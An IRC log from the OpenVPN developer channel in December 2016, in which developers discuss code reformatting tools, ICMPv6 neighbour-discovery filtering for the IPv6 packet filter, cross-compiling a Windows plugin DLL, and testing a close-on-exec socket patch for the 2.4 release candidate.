there is just a dilemma now..that I will post on the ml 23:00 < ordex> sent some ranting over the ml :) --- Day changed Sun Dec 04 2016 01:41 <@cron2> ordex: wrt indent - it messes up parts of our code even more, and there are not enough options to stop it from doing so 01:41 < ordex> :D 01:41 < ordex> ok 01:42 <@cron2> and what uncrustify can do what indent can't is "insert braces", that is, change 01:42 <@cron2> if(a) b; 01:42 <@cron2> into 01:42 <@cron2> if (a) 01:42 <@cron2> { 01:42 <@cron2> b; 01:42 <@cron2> } 01:42 <@cron2> which is something we want 01:47 <@cron2> ordex: oh, I see the rant. Welcome to the more stupid aspects of IPv6... 01:47 < ordex> :D 01:47 < ordex> I have been playing with IPv6 in the past, but never to deal with these details :P 01:47 < ordex> darn 01:48 < ordex> cron2: honestly, I'd just like to make the user's life as easy as possible. most of the people do not know about these low level details, they just want it to work "as expected" 01:48 < ordex> that's why I suggested to whitelist something by default 01:49 < ordex> otherwise IPv6 would just not work at all 01:49 <@cron2> which is what most of the router implementations do these days - unless explicitly denied, there is an implicit "permit ND" 01:50 <@cron2> but I'm not sure we actually need that - we don't *do* ND (as the kernel side always is told "this is a point to point interface, just stuff the packets in") 01:50 <@cron2> well, in tap mode, we do... 01:50 <@cron2> so yeah, we'll need rules for that, and it's tricky 01:51 <@cron2> you need about 6 rules to make NS/NA work in the general case 01:52 < ordex> that 6 is what I Was trying to avoid :D 01:52 < ordex> and yeah, this is for tap mode 01:52 < ordex> anyway to compress those 6 rules in your opinion? any pointer where I can find them? The RFC was not explicit enough 01:54 < ordex> cron2: btw we don't need to allow every underlying protocol, but at least basic neighbour discovery (which is what NA/NS is for I presume) 02:44 <@cron2> understood - the problem is that you'll see NS coming from link-local to link-local, from global to global, from :: to link-local , and for NA you'll see a few variants of link-local/global as well 02:44 <@cron2> can you filter on next-header, as in "just permit NS/NA"? 02:45 < ordex> right now the filtering is all based on the address 02:45 < ordex> but can surely be adapted 02:46 < ordex> btw, for those 6 cases you mentioned: we may allow link local only. global can be left for the user to enable it manually, no ? 02:46 < ordex> or maybe I don't get what global is 02:47 <@cron2> global is "non fe80 addresses" 02:47 < ordex> cron2: but if we can distinguish NS/NA from the packet type, I'd rather do that 02:47 < ordex> much cleaner (and also computationally simpler) 02:47 <@cron2> *I* have no idea whether we can do that :-) - *you* are working on the pf stuff... 02:47 < ordex> let's assume we can do it. how do I distinguish such header ? :) 02:47 <@cron2> (protocol-wise these are ICMPv6 sub-variants) 02:47 < ordex> right 02:47 < ordex> so I should match some ICMPv6 subpackets 02:47 <@cron2> right 02:48 < ordex> mh ok 02:48 < ordex> doesn't sound bad 02:48 <@cron2> being a bit lazy, I'll point you at RFC4890 02:48 <@cron2> 4890 Recommendations for Filtering ICMPv6 Messages in Firewalls. E. 02:48 < ordex> :D 02:48 < ordex> thanks ! 02:48 < ordex> I'll see what I can get out ;) 02:48 <@cron2> it has the "what ICMPv6 sub-type is needed for what?" bits 02:48 < ordex> ok 02:48 < ordex> btw, this clearly shows how messed up IPv6 is 02:49 < ordex> first they made it super cool, then they needed to create tons of RFCs for all kind of exceptions 02:49 < ordex> and cases that in real world people have to take care of 02:49 < ordex> anyway 02:49 < ordex> :D 02:49 < ordex> thanks for the pointer 02:51 <@cron2> well... the "people do stupid filtering on ICMP" is plagueing IPv4 as well... it's just not causing that fundamental issues if people do (it just annoys) 02:55 < ordex> mh ..section 4.4 sounds interesting 02:55 < ordex> "Traffic That Must Not Be Dropped" and so on 03:14 <@syzzer> cron2: uncrustify looks interesting. I looked into indent briefly, and wasn't fully convinced either 03:14 <@syzzer> (and my ISP had some serious issues yesterday, causing my bouncer to be offline for about 12 hours) 03:17 <@syzzer> today will be mostly occupied by home improvement todos though 03:17 <@syzzer> are you keeping track of you current uncrustify config somewhere? 03:18 <@syzzer> oh, and ordex: looked only briefly at your config inline patch. still looks like something I want! 03:18 < ordex> great :) 03:19 < ordex> will send over the ml once 2.4 is out and I know that nothing else will be changed around that 03:19 < ordex> :) 03:20 <@syzzer> ordex: the reformatting will probably touch almost every line in openvpn... 03:20 < ordex> yap 03:20 < ordex> I need to rebase afterwards. that's why I am waiting 03:20 <@syzzer> so be prepared for some annoying rebasing... 03:20 <@syzzer> exactly 03:21 < ordex> :D 03:22 < ordex> my favourite sport ! 04:23 < ordex> finally I can compile something finishing with .exe 04:23 < ordex> :P 06:07 < ordex> lol 06:07 < ordex> common.h:51:#define BIG_TIMEOUT (60*60*24*7) /* one week (in seconds) */ 06:08 < ordex> do we really have a timer firing once every week ? 06:08 < ordex> :D 06:57 <@dazo> syzzer: cron2: When we discussed re-formatting some years ago, I found astyle to do things fairly nicely, with proper allman style support .... http://astyle.sourceforge.net/ 06:57 <@vpnHelper> Title: Artistic Style - Index (at astyle.sourceforge.net) 06:57 <@dazo> I even used it in commit e2e9a69c1ecc7142cc1 ... astyle --style=allman --indent=spaces=4 -c 06:59 <@dazo> so, src/plugins/down-root/down-root.c should actually be fairly correct in coding style 07:00 <@dazo> I've looked at uncrustify earlier, but found it had too many knobs, bells and whistles to my taste ... just liked the simplicity of astyle 07:05 < ordex> dazo: what's wrong with bells ? it's almost christmas time after all ;) 07:09 <@dazo> https://www.youtube.com/watch?v=5DSTYrGOo0c 07:22 < ordex> cron2: outstanding! I am marking as "do not drop" the ICMPv6 packets reported in 4.4.1 of https://www.ietf.org/rfc/rfc4890.txt and it works ;) 07:22 < ordex> just the packets below: Address Configuration and Router Selection messages: 07:22 < ordex> the rest is still dropped 07:22 < ordex> c00l 07:22 < ordex> thanks :) 07:29 <@cron2> dazo: didn't try astyle. Can it add braces? 07:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 07:55 <@dazo> cron2: Yeah, I believe so 07:57 * dazo need to head out 08:01 < ordex> slypknot: what's you name/email ? so I can CC you on theml 08:01 < ordex> *he ml 08:01 < ordex> *the ml 08:01 < ordex> eh 08:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 08:08 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:21 <@cron2> ah, indeed - --add-brackets 08:30 < ordex> cron2: I think #611 can be closed? 08:30 * ordex is just digging in the tickets 08:31 < ordex> !meetings 08:31 <@vpnHelper> "meetings" is (#1) OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list, or (#2) Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 08:40 <@cron2> in the 2.4 release phase, we meet every wednesday at 20:00 MET 08:40 <@cron2> (and in #openvpn-meeting) 10:01 < slypknot> ordex: I am tesing your repo now :) 10:02 < ordex> slypknot: cool :) 10:10 < ordex> slypknot: I hope it won't blow up :D 10:13 < slypknot> It's ok if it does .. only a test server :) 10:13 < slypknot> but now I get the windows headache again :( 10:16 < ordex> what do you mean ? 10:17 < ordex> compiling openvpn for windows ? 10:17 < ordex> :D 10:19 < slypknot> I was trying to .. turns out I probably cannot compile the client_pf.so into aa .dll tho 10:22 < ordex> sh 10:22 < ordex> ah 10:22 < ordex> have n oclue about that :S 10:23 < slypknot> I was wondering if i could unpick the build-system to figure out how to do it 10:24 * slypknot *LMFAO* unpick NSIS 10:27 < ordex> :D 10:33 < ordex> slypknot: I could try to compile it for you using my cross compiler ? 10:36 < slypknot> ordex: if you can compile it I will test it 10:36 < ordex> slypknot: do you know what arguments I should pass to gcc ? 10:38 < slypknot> lol 10:38 < slypknot> if only i knew i would have it done by now ! 10:40 < ordex> :D 10:40 < ordex> slypknot: I created a dll 10:40 < ordex> want to try ? :D 10:40 < ordex> minimal_pf-win.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows 10:41 < ordex> this is the file type. looks like a reasonable 32bit dll 10:41 < slypknot> "It" /looks like/ I could figure NSIS out but OMG .. twisted and warped 3|:{D> 10:41 < ordex> :D 10:41 < slypknot> ordex: sure 10:42 < ordex> one sec. I put it somewhere 10:42 < slypknot> ordex: fragmentux at gmail dot com 10:43 < ordex> ok 10:44 < slypknot> i wonder if a 32bit dll will load with a 64bit everything else .. 10:45 < slypknot> time to find out :D 10:45 < ordex> I sent you a 32bit openvpn binary as well 10:45 < ordex> compiled by my build system 10:45 < ordex> so that you can use the 2 ogether 10:45 < ordex> together 10:45 < ordex> hope it works :D 10:45 < slypknot> i'll try it 10:46 < slypknot> out of curiosity, could you document how you compiled it ? would be real nice to have ;) 10:46 < ordex> mah 10:46 < ordex> google does not like .exe 10:46 < ordex> I will tar them 10:46 < ordex> slypknot: I re-used almost the same command in the document for linux 10:47 < ordex> let's see if it works first :D 10:48 < slypknot> no email has arrived .. bah, have to check gmail spam now ! 10:48 < ordex> slypknot: wait 10:48 < ordex> it got rejected 10:48 < ordex> resending now in a tbz2 10:49 < ordex> I think google did not like the .exe 10:49 < slypknot> ooo 10:49 < slypknot> will have to check my settings 10:49 < ordex> imho it's a server thing 10:49 < ordex> bigG keeps everybody safe :P 10:49 < slypknot> yeah i guess so 10:50 < ordex> arrived ? 10:50 < slypknot> yep ;) 10:51 < ordex> good :) 11:02 < ordex> slypknot: I;m going to bed. but feel free to drop any result here :) I'll have a look in some hours ;P 11:03 < ordex> thanks ! 11:12 < slypknot> ordex: will let you know 11:25 < slypknot> ordex: where the hell do you live: Built on Dec 5 2016 !!! 11:32 < slypknot> unfortunately, this is gonna turn out to be a waste of time unless making the client_pf.dll is documented .. it is Free Open Source Software for a reason. 11:41 <@cron2> ordex: you made the pf into a .so/.dll? 11:42 < slypknot> cron2: he made a .dll which does load 13:57 < slypknot> m. m. m. m. ma-agic m. m. m. m. m..route XD 13:57 * slypknot almost understands mroute.c 19:48 < ordex> :D 19:48 < ordex> slypknot: I live in the future ! 19:49 < ordex> cron2: the pluging is just there to foce the load of the pf file. I followed the doc in the ticket 19:55 < ordex> slypknot: personally, I'd change the openvpn code to be able to work without the plugin 19:55 < ordex> at least the basic functionalities 20:00 < ordex> pf* code 20:00 < ordex> because having a plugin with a static content to pass here and there does not make mush sense imho 20:03 < ordex> slypknot: any luck in running my binaries ? :) 21:08 < ordex> I will try to understan what is the value added by the plugin and thn decide how to re-architect that part. right now the plugin is used just as a placeholder - hence, we can easily remove it --- Day changed Mon Dec 05 2016 04:50 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:33 < HaDaMaLoU> Hi all 05:37 < ordex> hi 06:54 <@cron2> ordex: ah, now I remember. This is one of the funny functionalities that you can't use from the config line, only from management interface or plugin. Right? 06:55 < ordex> cron2: right 06:55 < ordex> but actually the plugin part does not make sense 06:56 < ordex> because it is used (as described in the webpage) just as a trigger, but the real statements are taken from a text file 06:56 < ordex> maybe, if I dig more, I may understand what the plugin can really be useful for 07:04 <@plaisthos> ordex: that example plugin uses text files 07:04 <@plaisthos> but you could have any other source 07:05 < ordex> mh, but it is not the plugin telling from which file to read. that part is in openvpn 07:05 < ordex> the plugin is just returning a dummy content and SUCCESS everytime it gets invoked 07:05 <@plaisthos> yes 07:05 <@plaisthos> comminication is via file 07:05 <@plaisthos> which is a bit strange 07:05 <@plaisthos> but works 07:06 < ordex> plaisthos: mh.. I think I am not following. with plugin, I meant the .so file that needs to be linked in openvpn 07:06 < ordex> this .so file is not really doing much, othen than registering itself 07:07 < ordex> and setting OPENVPN_PLUGIN_ENABLE_PF 07:07 < ordex> thus my question was: do we really need a .so plugin? or could this just be enabled via config? (and keep the file thing the same) 07:08 < ordex> not sure if I managed to explain myself (?) 07:14 < ordex> unless I am missing something 07:19 <@plaisthos> yeah pf could have something like ccd 07:28 < slypknot> ordex: what version of openvpn plugin.h did you use ? 07:33 < slypknot> nvm .. just built ok against 2.4_git 07:33 < slypknot> ordex: please share the parms to build .dll for windows 09:15 < ordex> slypknot: i686-w64-mingw32-gcc $CC_FLAGS -c $INCLUDE $NAME.c && \ 09:15 < ordex> i686-w64-mingw32-gcc -Wl,--out-implib,${NAME}_dll.a $CC_FLAGS -shared -o $NAME.dll $NAME.o 09:15 < ordex> this is what I did 09:16 < ordex> and it created a .a and .dll, the .a is not useful actually 09:17 < ordex> slypknot: couldn't you run my openvpn.exe+plugin ? 09:20 < ordex> slypknot: actually you could compress those two commands into one - but we can write something down later 09:29 < ordex> maybe I can work on eliminating the plugin myself and see how it looks like 09:38 < slypknot> ordex: thanks for the info .. that would probably have taken me a loooong time to figure out ! 09:39 < slypknot> as for running you .dll & .exe .. sorry but I don't have a w10 resue media because windows refuses all my flash drives so i am on borrowed time with this OS and I don't want to take any chances 09:40 < ordex> :D 09:40 < ordex> ok 09:41 < slypknot> i have the linux version working and it accepts IPv6 now :) 09:41 < ordex> cool :) 09:41 < slypknot> i'll try w10 soon 09:45 < slypknot> ordex: does the filter support xxxx::xxxx/nnn ? 09:45 < ordex> it should 09:45 < ordex> I tested it like: fd00::/48 09:46 < slypknot> i am doing this: 09:47 < ordex> yes ? 09:48 < slypknot> sorry testing to make sure not wasting yr time :) 09:49 < slypknot> I have this: 09:49 < slypknot> [CLIENTS ACCEPT] 09:49 < slypknot> [SUBNETS DROP] 09:49 < slypknot> +10.25.25.0/24 09:49 < slypknot> +12fc:1918::10:25:25:0/112 09:49 < slypknot> +12fc:1918::10:225:25:0/112 09:49 < slypknot> [END] 09:49 < ordex> :D 09:50 < slypknot> but i cannot even ping IPv4 .. the filter drops 09:50 < ordex> mh 09:50 < slypknot> Mon Dec 5 15:40:52 2016 us=350090 v3.rsa.circle.cli.barbican/10.10.201.122:1194 PF: client -> addr[10.25.25.25] packet dropped by TUN packet filter 09:50 < ordex> yeah 09:50 < ordex> can you run with --verb 7 and grep PF* messages ? 09:51 < ordex> there might be an error parsing the file 09:51 < slypknot> one sec 09:51 < slypknot> this will have to wait for now .. godda go do chores 09:52 < slypknot> ordex: what time is it for you ? 09:52 < ordex> midnight :D 09:52 < slypknot> oh 09:52 < slypknot> very late ! 09:52 < ordex> I can try testing here with that file 09:52 < ordex> with that content 09:52 < slypknot> go for it 09:52 < ordex> it's almost the 6th here ! 09:52 < ordex> :D 09:53 < ordex> I mean, Dec, 6th 09:53 < slypknot> I'll have to speak to you tomorrow at about 7~8pm your time 09:53 < ordex> oky :) thanks for any effort! is really appreciated 09:53 < slypknot> i'll send you an email with all my settings 09:53 < ordex> thanks ! 09:53 < slypknot> :) 09:54 * slypknot g2go 09:54 < ordex> bye ! 09:58 < ordex> mh 09:58 < ordex> here it works 09:58 < ordex> on the server conf I got this: 13 server 10.25.25.0 255.255.255.0 09:58 < ordex> 14 server-ipv6 12fc:1918::10:25:25:0/112 09:58 < ordex> and in the ccd file I got: ifconfig-push 10.25.25.12 255.255.255.0 09:58 < ordex> ifconfig-ipv6-push 12fc:1918::10:25:25:12/112 10:00 < ordex> from the client I can ping both v4 and v6 of the server 10:07 < ordex> slypknot: and...honestly I tested this only on TAP interface :] 10:07 < ordex> maybe this is the problem :P 10:08 < ordex> mh but still works even with TUN 10:17 < slypknot> ordex: my server uses --topology net30 10:17 < slypknot> --dev tun 10:17 < ordex> oh, maybe that's affecting the logic (although it should not), but i wil try with it 10:19 < ordex> slypknot: maybe it's better to wait for you to provide me the full config 10:22 < ordex> because it still works here - so there might be something else. I'll wait for your settings and test again :) 10:23 < slypknot> ordex: you are developing on 2.4_alpha1 10:23 < ordex> on master - right 10:23 < slypknot> well 10:23 < ordex> should br rc1 10:23 < ordex> *be 10:23 < slypknot> not sure .. version.m4 says 2.4_alpha1 10:24 < ordex> mh..maybe you build system pulled the 2.4_alpha1 package instead of my branch ? 10:24 < ordex> can it be ? 10:24 < slypknot> no .. i cloned your branch 10:24 < ordex> mh 10:24 < slypknot> https://github.com/ordex/openvpn/tree/ipv6pf 10:24 <@vpnHelper> Title: GitHub - ordex/openvpn at ipv6pf (at github.com) 10:24 < ordex> yap 10:24 < ordex> that's master + my patches 10:25 < ordex> in version.m4 I don't see any versioning, how can I see that 2.4_alpha1 ? 10:25 < ordex> ah 10:25 < ordex> define([PRODUCT_VERSION_PATCH], [_rc1]) 10:25 < ordex> this is what I have in my m4 - why is it different ? 10:26 < ordex> also the log says: OpenVPN 2.4_rc1 [git:ipv6pf/b6122b10dcd970c1] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Dec 5 2016 10:28 < slypknot> weird .. i'll cvheck my setup again ! 10:32 <@cron2> slypknot: git checkout -b pftest <thebranchyouwanttotest> 10:52 < slypknot> cron2: thanks :) 12:54 < slypknot> hi, I am trying to compile this : http://backreference.org/2010/06/18/openvpns-built-in-packet-filter/ 12:54 < slypknot> it compiles fine with gcc 12:55 < slypknot> but using i686-w64-mingw32-gcc with the same environment (same session) it says: 12:55 < slypknot> minimal_pf.c:8:28: fatal error: openvpn-plugin.h: No such file or directory 12:55 < slypknot> #include "openvpn-plugin.h" 12:56 < slypknot> the command I am using is : i686-w64-mingw32-gcc $CC_FLAGS -c -I/home/arby/openvpn/master/src/openvpn $NAME.c && i686-w64-mingw32-gcc -Wl,--out-implib,${NAME}_dll.a $CC_FLAGS -shared -o $NAME.dll $NAME.o 12:56 * slypknot is stumped 12:58 < slypknot> there *is no* such file as "openvpn-plugin.h" in src/openvpn .. so how come gcc finds the file it needs but i686-w64-mingw32-gcc does not ? 13:00 < slypknot> is it something to do with -fPIC ? 13:00 * slypknot testing now 13:01 < slypknot> nothing to do with -fPIC 13:23 < slypknot> what is the deal with "openvpn-plugin.h" there is no such file and yet src/openvpn/plugin.h: Line 38: #include "openvpn-plugin.h" 13:26 * slypknot is seriously out of my depth 13:32 < slypknot> the plot thickens .. this error seems to be coming from plugin.h : 13:32 < slypknot> In file included from minimal_pf.c:17:0: 13:32 < slypknot> /home/arby/openvpn/master/src/openvpn/plugin.h:38:28: fatal error: openvpn-plugin.h: No such file or directory 13:32 < slypknot> #include "openvpn-plugin.h" 13:35 -!- arlen_ is now known as arlen 13:36 * cron2 hates hardware, and goes reboot $server 13:37 <@cron2> sym0: unable to abort current chip operation. 13:37 <@cron2> (noperiph:sym0:0:-1:-1): SCSI BUS reset detected. 13:41 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Ping timeout: 245 seconds] 13:54 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 13:54 -!- mode/#openvpn-devel [+o cron2] by ChanServ 15:44 <@plaisthos> I have now the worst notebook keyboard I have ever had 15:44 <@plaisthos> in the most expensive notebook I ever had 15:45 <@cron2> this describes the *touchpad* in my vaio quite well - the keyboard is quite good, but the touchpad is amazingly annoying 15:46 <@plaisthos> the touchpad here is huge 15:46 <@plaisthos> I don't mind the touch bar so much, but the almost non existent travel of the keyboard combined with its noise is just annoying 15:47 <@cron2> oh, a new MBP 15:47 <@cron2> Apple makes amazing touchpads, though :) 15:49 <@plaisthos> yeah 15:50 <@plaisthos> My old macbook is one the seris that has its gpu dying every half year 15:50 <@plaisthos> and the repair program is ending the end of this year 15:50 <@plaisthos> and I needed to spend money 15:52 <@plaisthos> emoji touchbar!!!! 😜 15:52 <@plaisthos> my apple Terminal can display color emojis ... 15:54 <@plaisthos> 208414965760 bytes transferred in 174.991645 secs (1190999523 bytes/sec) 15:54 <@plaisthos> and the ssd is unreal fast 15:54 <@cron2> this is more impressive than utf8 abominations 17:15 <+krzee> when i run with --chroot will it look for libs in the new chroot? 17:41 <@dazo> cron2: syzzer: Interesting read on calloc vs malloc+memset ... https://vorpus.org/blog/why-does-calloc-exist/ 17:41 <@vpnHelper> Title: Why does calloc exist? njs blog (at vorpus.org) 17:42 <@dazo> Not sure I buy the closing argument just yet though 17:47 <@dazo> krzee: depends on what you really do ... normally all shared objects used by openvpn (including --plugin) will be loaded before chroot() is called. But if you have some scripts/plugins doing some more funky stuff inside a chroot, those will be loaded after openvpn have chroot()ed 17:48 <@dazo> (starting /bin/sh via a script hook will require quite a few things inside the chroot) 17:48 <+krzee> cool thanks 17:49 <@dazo> generally speaking, running 'ldd $BINARY' will usually give you a clue what you need to copy over ... but you might need to copy/install ldconfig inside the chroot and run that tool through chroot too 19:09 < ordex> :D 19:09 < ordex> plaisthos: what's the model of the new laptop? :) --- Day changed Tue Dec 06 2016 02:32 <@plaisthos> ordex: Touchbar Macbook 15 02:32 < ordex> oh I see 02:32 * ordex is antiapple :-P 02:32 <@plaisthos> MacBookPro13,3 02:33 <@plaisthos> I can now charge my notbook with my tablet charger! 02:33 <@plaisthos> :0 02:33 < ordex> :D 02:33 < ordex> how long does that take ? 02:34 <@plaisthos> long :) 02:35 <@plaisthos> 15W charger, 70 Wh battery 02:35 <@plaisthos> without energy loss 5h ;) 02:57 <@d12fk> dazo: greetings fellow HN reader =) 02:57 < ordex> :) 03:06 <@plaisthos> HN? 03:25 < ordex> Hacker News ? 03:45 <@plaisthos> ah 06:11 < slypknot> ordex: thanks for your reply, I now managed to compile the windows pf dll .. am building windfows installer with your source to fully test :) 06:34 <@cron2> thermi: if you're around - I just posted a close-on-exec() patch v3 to the list which should take care of all socket FD leaks, but might break port-share (which I'm not using and have no proper test environment today, should add one...) 06:42 <@cron2> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13405.html 06:42 <@vpnHelper> Title: [Openvpn-devel] [PATCH v3] Refactor setting close-on-exec for socket FDs (at www.mail-archive.com) 06:44 <@cron2> plaisthos: thanks for the ACK. Do you understand port-share enough to explain what happens there exactly? "something is forked" but I never investigated which FDs need to be inherited, etc. 06:47 <@plaisthos> cron2: port-share does create a socket pair and gives one end to the forked child and uses that to communicate and forward data 06:49 <@plaisthos> I think it also uses the passing fd over a unix socket stuff 06:49 <@plaisthos> but haven't look that deeply in the message flow 06:50 <@plaisthos> only deep enough for ipv4/ipv6 fix and now to check if there is any breakage of so_close_exec 06:59 <@vpnHelper> RSS Update - tickets: #784: openvpn-2.4_rc1 assertion failure in AEAD code on renegotiation (AES-256-OFB) <https://community.openvpn.net/openvpn/ticket/784> 07:04 <@plaisthos> cipher AES-256-OFB 07:04 <@cron2> whatever OFB is - if we allow using it, we shouldn't explode 07:05 <@cron2> thanks for the port-share explanation - with a socketpair() it won't need the original FD as inheritance in the child 07:28 <@cron2> afk... kid nikolaus party in school... 08:24 <@vpnHelper> RSS Update - tickets: #785: Username with space, error message <https://community.openvpn.net/openvpn/ticket/785> 09:15 < ordex> slypknot: great ! 09:32 < ordex> slypknot: did you manage to test the case you mentioned yesterday? did you still find some issues ? 09:45 <@syzzer> dazo: ah, nice writeup. Just preventing integer overflows for array allocs has been reason enough for me to prefer callc() 10:05 <@plaisthos> *sigh* 10:05 <@plaisthos> #785 is one of the case where trying to reproduce it yourself is faster than getting anything useful out of the submitter 10:06 <@plaisthos> and my vm survived a suspend on old machine/restore on new machine but complains that the connnected usb webcam could not be connected :) 10:37 * cron2 is fairly sure that neither client nor server have an issue with usernames with spaces in, but using an auth *script* that doesn't properly do shell escapes is prone to have issues... 11:24 * plaisthos too 11:24 <@plaisthos> I still tested it because it might have been a windows ui problem 12:28 < slypknot> mattock: build-snapshot OPENVPN_URL should probably be HTTPS not http://github.com/OpenVPN/openvpn.git 12:28 <@vpnHelper> Title: GitHub - OpenVPN/openvpn: OpenVPN is an open source VPN daemon (at github.com) 12:43 <@vpnHelper> RSS Update - tickets: #786: OpenVPN burns 100% CPU polling fds <https://community.openvpn.net/openvpn/ticket/786> 14:21 <@vpnHelper> RSS Update - gitrepo: Preparing OpenVPN v2.4_rc1 release <https://github.com/OpenVPN/openvpn/commit/e739d7f445abc36277f60b2fb048809cdbeb7df1> || Refuse to daemonize when running from systemd <https://github.com/OpenVPN/openvpn/commit/7660bba111f739f9cc7017c392c1434f201b8c44> || Use systemd service manager notification <https://github.com/OpenVPN/openvpn/commit/c5931897ae8d663e7e6244764fc6379d7b4740f3> || Mention that OpenVPN 2.4 r 14:22 <@cron2> huh, what was that 14:40 <@dazo> hmmm ... nothing have changed ... perhaps some github rss restart/reformat? 14:51 <@cron2> seems vpnhelper got drunk again 15:03 <@vpnHelper> RSS Update - gitrepo: Correctly state the default dhcp server address in man page <https://github.com/OpenVPN/openvpn/commit/251cc8f2042cc0cb8281230f7fb33f2cdec5b809> 15:03 <@cron2> mattock: can I haz a few more versions in trac, please? 2.4_rc1 is missing (and people are logging bugs against it), 2.4_rc2 will be needed and 2.4.0... and of course, 2.3.14 :) 15:13 <@cron2> dazo: what are we going to do with https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13405.html 15:13 <@vpnHelper> Title: [Openvpn-devel] [PATCH v3] Refactor setting close-on-exec for socket FDs (at www.mail-archive.com) 15:13 <@cron2> ? 15:14 <@cron2> Plaisthos has acked it... waiting for agi or thermi to report back on their tests, but then it's "bugfix" - but it has the potential to break things that rely on socket FDs being inherited... (which I do not know any reason why this might be needed, but then, it's openvpn) 15:23 <@dazo> cron2: We can revert it or fix it before final 2.4.0 by the end of Dec... IMO, it's reasonable to classify this one for rc2 15:23 <@dazo> I'll send an e-mail to agi now, to see if he can get some more action on testing 15:23 <@cron2> no need, he already saw the patch on the list and stated he's going to go test it 15:24 <@dazo> did he spot your v2 patch? 15:24 <@cron2> since RC2 is not due before next week, we're not in a hurry 15:24 <@cron2> he missed the v2 patch, but saw v3 15:25 <@cron2> oh 15:25 <@cron2> the response only went to me, not to the list 15:25 <@cron2> > v3: add set_cloexec() calls to accept()ed TCP/unix child sockets 15:25 <@cron2> Thanks Gert, I'll test this ASAP. 15:25 <@cron2> :) 15:26 <@dazo> okay, if he has seen v3 (which is what I meant) we can wait until early next week before checking how testing went :) 15:27 <@cron2> good. It seems to be important for the debian guys (nobody else ever mentioned it :-) ), and since that is really our target... fine. 15:27 * cron2 needs to poke d12fk again tomorrow (--wrap) 15:28 <@dazo> I'll spend a little time this evening/night glaring at it too ... not that I think I'll spot anything new, but just to have another set of eyes on it ... I think we can pull it in and revert it if agi sees new explosions 15:29 < Thermi> cron2: I looked at your patch and I can only see one reply to it. Additionally, your original mail was a response to "[Openvpn-devel] Preparing 2.4-beta1 upload to Debian (Experimental)". Did I miss something? 15:30 <@dazo> Thermi: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13405.html 15:30 <@vpnHelper> Title: [Openvpn-devel] [PATCH v3] Refactor setting close-on-exec for socket FDs (at www.mail-archive.com) 15:31 <@dazo> Thermi: it's in that mail thread you mentioned, though 15:31 < Thermi> dazo: I have read that email. Okay, so that is the patch that needs to be tested? 15:31 < Thermi> On top of what does that patch go? last stable release? 15:31 <@dazo> yeah 15:31 < Thermi> Alright, let's see. 15:31 <@dazo> latest git master 15:32 < Thermi> err. okay. 15:32 < Thermi> Let's see what explodes. 15:32 <@dazo> thx! 15:32 < Thermi> openvpn github repo is up to date? 15:33 <@cron2> yes (but it does not have this particular patch yet, it will only go in if I'm sure it's not breaking --port-share) 15:33 < Thermi> Okay 15:33 <@cron2> so the test would be 2.4_rc1 or 251cc8f2042 plus "close-on-exec v3" 15:33 <@cron2> (251cc8f2042 is a minor openvpn.8 patch) 15:34 <@dazo> 251cc8f2042 ?? 15:34 <@dazo> ahh, just pushed probably 15:35 <@cron2> vpnhelper mentioned this at 21:56 (local time here) :) 15:35 <@cron2> Selva's "at least *document* our internal mess" patch 15:35 <@dazo> right ... I did a fetch around 21:30 :) 15:35 <@cron2> "new stuff in, now!" :) 15:35 <@dazo> :) 15:36 <@cron2> we seem to have a new bug that needs to get fixed, though - 786 15:38 * dazo looks 15:39 <@cron2> + /* arm inotify watcher */ 15:39 <@cron2> + event_ctl (c->c2.event_set, c->c2.inotify_fd, EVENT_READ, (void*)&file_shift) 15:39 <@cron2> *sigh*, who does code like that when inotify_fd could be "0"? 15:40 <@cron2> Acked-by: David Sommerseth <davids@redhat.com> 15:40 * cron2 pokes dazo 15:41 <@cron2> (and goes to bed now... things have been stirred, now I can sleep :-) ) 15:45 <@dazo> eek 15:48 < Thermi> Hm. The patch didn't apply cleanly on the v2.4-rc1 tag 15:49 <@cron2> that is ... strange. The branch it came from is based on v2.4-rc1 and has exactly this patch in it 15:49 < Thermi> Actually, it did. But something broke the line starts and text was missing from the comment 15:49 < Thermi> First times are always very exciting. 15:50 <@cron2> git am reformats over long lines, that could have bitten me (if it's just the commit message that got warped) 15:51 < Thermi> Diff starting at @@ -968,6 +977,12 @@ socket_do_accept (socket_descriptor_t sd, got bit 15:51 < Thermi> Diff starting at "@@ -968,6 +977,12 @@ socket_do_accept (socket_descriptor_t sd," got bit 15:51 <@cron2> dazo: fix should be easy enough - init the fd with -1, reset to -1 if the file is closed, and check for if (fd >= 0) before arming... 15:51 <@dazo> Thermi: I'm always using the raw mail when doing git apply/am ... otherwise mail clients have a tendency to rewrap lines 15:51 < Thermi> dazo: My mail client doesn't rewrap incoming mail. 15:51 <@dazo> cron2: yeah, I'm just digging into the patch from Lev to refresh my memory ... we applied that patch 14 months ago 15:52 <@dazo> cron2: but we might have some odd things in configure.ac too 15:52 < Thermi> Also, there are longer lines than that in the email. 15:52 < Thermi> > @@ -1499,7 +1499,6 @@ man_new_connection_post (struct management *man, const char *description) 15:52 < Thermi> E.g. 15:52 <@cron2> thermi: git://github.greenie.net/openvpn-236.git/ and branch "agibug" 15:53 < Thermi> cron2: that's 2.4-rc1 with that patch applied? 15:53 <@cron2> right 15:53 <@cron2> even if the repo is called 236, for silly reasons 15:53 < Thermi> fatal: Could not read from remote repository. 15:53 < Thermi> Hmh. 15:53 < Thermi> Wait. 15:53 <@cron2> wait 15:54 < Thermi> Connecting to github.greenie.net (port 9418) ... 2001:608:0:1007:a00:20ff:fefe:4bd2 done. 15:54 < Thermi> fatal: Could not read from remote repository. 15:55 <@cron2> wtf... 15:55 <@cron2> Dec 6 22:46:07 delta7z git-daemon[1343]: unable to 